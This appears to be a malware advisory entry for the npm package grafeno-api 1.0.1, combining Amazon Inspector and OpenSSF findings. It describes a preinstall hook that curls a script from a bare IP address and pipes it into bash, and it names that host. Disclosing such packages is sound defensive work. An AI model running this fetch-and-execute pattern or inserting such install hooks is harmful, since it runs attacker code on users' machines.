Malicious code in grafeno-api (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c) package.json declares a preinstall script that shells out via child_process to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash, running attacker-controlled code on the installer's machine at npm install time. The fetch is unpinned, uses plain HTTP to a bare IP with no integrity check, and is wrapped in a try/catch that suppresses errors. The shipped index.js is a one-line stub exporting a no-op request() function, so the package provides no legitimate functionality — the manifest lifecycle hook is the entire payload, and the 'API client' framing is a cover story. ## Source: ossf-package-analysis (e30333357bace03d536c107ea6180be7a1951073192c1647bcb028e9fac3d633) The OpenSSF Package Analysis project identified 'grafeno-api' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Malicious code in grafeno-api (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c) package.json declares a preinstall script that shells out via child_process to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash, running attacker-controlled code on the installer's machine at npm install time. The fetch is unpinned, uses plain HTTP to a bare IP with no integrity check, and is wrapped in a try/catch that suppresses errors. The shipped index.js is a one-line stub exporting a no-op request() function, so the package provides no legitimate functionality — the manifest lifecycle hook is the entire payload, and the 'API client' framing is a cover story. ## Source: ossf-package-analysis (e30333357bace03d536c107ea6180be7a1951073192c1647bcb028e9fac3d633) The OpenSSF Package Analysis project identified 'grafeno-api' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Affected software
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Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15501
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a92f7d9acd9273b49e75a7e
Added to database: 08/29/2026, 15:16:41 UTC
Last updated: 08/29/2026, 15:17:15 UTC
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